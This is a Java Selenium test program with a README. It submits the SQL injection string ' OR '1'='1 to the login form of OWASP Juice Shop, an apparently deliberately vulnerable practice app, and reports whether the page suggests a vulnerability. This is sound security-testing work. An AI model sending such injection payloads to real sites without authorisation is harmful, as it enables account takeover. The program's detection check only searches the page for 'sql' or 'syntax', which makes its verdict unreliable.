import org.openqa.selenium.By;

import org.openqa.selenium.WebDriver;

import org.openqa.selenium.WebElement;

import org.openqa.selenium.chrome.ChromeDriver;

import org.openqa.selenium.chrome.ChromeOptions;

public class SQLInjectionTest {

public static void main(String[] args) {

System.setProperty("webdriver.chrome.driver", "/path/to/chromedriver");

ChromeOptions options = new ChromeOptions();

WebDriver driver = new ChromeDriver(options);

try {

driver.get("https://juice-shop.herokuapp.com/#/login");

WebElement usernameField = driver.findElement(By.id("email"));

WebElement passwordField = driver.findElement(By.id("password"));

String maliciousUsername = "' OR '1'='1";

usernameField.sendKeys(maliciousUsername);

passwordField.sendKeys("ValidPassword123");

WebElement loginButton = driver.findElement(By.id("loginButton"));

loginButton.click();

String pageSource = driver.getPageSource();

if (pageSource.contains("Invalid email or password")) {

System.out.println("Login failed as expected.");

} else if (pageSource.toLowerCase().contains("sql") || pageSource.toLowerCase().contains("syntax")) {

System.out.println("Possible SQL Injection vulnerability detected!");

} else {

System.out.println("No apparent SQL Injection vulnerability detected.");

}

} catch (Exception e) {

e.printStackTrace();

} finally {

driver.quit();

}}}

READ ME

This Java program uses Selenium WebDriver to interact with the OWASP Juice Shops login form and attempts a controlled SQL injection attack to test for vulnerabilities.

Requirements

Java JDK

Selenium WebDriver library

ChromeDriver

OWASP Juice Shop application

Setup

1. Ensure you have Java installed on your system.

2. Add Selenium WebDriver to your projects dependencies.

3. Download and configure ChromeDriver to match your browser version.

Running the Program

1. Run the Java program using your IDE or command line.

2. The program will open a Chrome browser, navigate to the Juice Shop login page, and attempt the SQL injection.

3. The results will be printed to the console, indicating whether a SQL injection vulnerability was detected.

Exception Handling

The program uses a try-catch-finally block to handle exceptions.

If an element is not found or the test encounters an issue, the exception is caught, and the stack trace is printed for debugging purposes.

The browser is closed in the finally block to ensure cleanup.

Assumptions

The test assumes that the Juice Shop application is running and accessible.

The ChromeDriver executable is correctly configured in the system path.